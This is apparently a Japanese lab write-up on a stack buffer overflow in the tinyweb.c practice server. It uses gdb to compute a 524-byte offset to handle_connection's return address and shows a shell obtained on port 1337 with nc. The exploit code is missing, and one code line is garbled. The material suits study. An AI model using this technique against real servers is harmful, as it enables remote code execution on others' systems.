

### まずはじめに訂正するところについて

脆弱性がある関数は main 関数内で呼び出している handle\_connection 関数でした。

handle\_connection 関数で宣言されている request バッファは、char request[500]となっています。しかし、500 バイト以上のデータも受け付けてしまうため、handle\_connection 関数のリターンアドレスを書き換えることができます。以下に handle\_connection 関数の問題があるコードを示します。

```
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {
    unsigned char *ptr, request[500], resource[500];
    int fd, length;
    +++$ash
    length = recv_line(sockfd, request);$
```

### gdb を用いた解析について

1. コンパイラで tinyweb.c をコンパイル。オプションで -m32 を指定し、32 ビット ELF ファイルにする。
2. コンパイルされ実行形式になった tinyweb(本来は a.out だがここではわかりやすくするために tinyweb と表記する)を起動。
3. 起動した tinyweb のプロセス番号をしらべて gdb でアタッチする。
4. アタッチした後に、脆弱性のあるコードにブレークポイントを設定する。以下の画像は、脆弱性のある handle\_connection 関数内で呼び出されている、recv\_line 関数にブレークポイントを設定している。

```
58 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {
59     unsigned char *ptr, request[500], resource[500];
(gdb) list
60     int fd, length;
61
62     length = recv_line(sockfd, request);
63
64     printf("%s: %d からリクエストを受け取りました \"%s\"\n", inet_ntoa(client_
ort), request);
65
66     ptr = strstr(request, " HTTP/"); // 有効に見えるリクエストを検索する。
67     if(ptr == NULL) { // これは有効なHTTPリクエストではない。
68         printf(" HTTPではない!\n");
69     } else {
(gdb) break 62
Breakpoint 1 at 0x8049754: file tinyweb.c, line 62.
(gdb) info breakpoints
Num      Type           Disp Enb Address          What
1        breakpoint     keep y   0x08049754 in handle_connection at tinyweb.c:62
(gdb)
```

5. ブレークポイントを設定した後、wgetなどでサーバにリクエストを送信する。

```
$ wget 10.0.2.15:80
--2020-11-16 21:06:33-- http://10.0.2.15/
Connecting to 10.0.2.15:80... connected.
HTTP request sent, awaiting response...
```

6. すると、gdbの方でブレークポイントで止まる。

```
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xffffd184) at tinyweb.c:62
62      length = recv_line(sockfd, request);
(gdb)
```

7. gdbでrequest変数のアドレスからhandle\_connection関数のスタックフレームに格納されているmain関数へのリターンアドレスまでの距離、つまりオフセットを計算する。

```
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xffffd184) at tinyweb.c:62
62      length = recv_line(sockfd, request);
(gdb) x/x request
0xffffcf60: 0x00000000
(gdb) x/16xw 0xffffcf60+500
0xffffd154: 0xffffd184      0xffffd180      0x98cc8d00      0x0804c000
0xffffd164: 0xf7fa8000      0xffffd1b8      0x08049739      0x00000004
0xffffd174: 0xffffd184      0xffffd180      0x080495f0      0x00000010
0xffffd184: 0xaca30002      0x0f02000a      0x00000000      0x00000000
(gdb) bt
#0  handle_connection (sockfd=4, client_addr_ptr=0xffffd184) at tinyweb.c:62
#1  0x08049739 in main () at tinyweb.c:48
(gdb) x/x 0xffffd164+8
0xffffd16c: 0x08049739
(gdb) p 0xffffd16c - 0xffffcf60
$1 = 524
(gdb)
```



## 攻撃プログラムが実行されたときの tinyweb

[illegible]

## 攻撃が成功した後に nc で 1337 ポートに接続

```

➡ $nc 10.0.2.15 1337
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:1f:a6:34 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 81769sec preferred_lft 81769sec
    inet6 fe80::1bd8:5b03:42a3:258f/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

ls
x86_shellcode.txt
a.out
decode_sniff.c
hacking-network.h
hacking.h
hacking.txt
host_lookup.c

```

補足については以上です。他になにかあったらヨシダさんに連絡してください。  
以上、グッドラック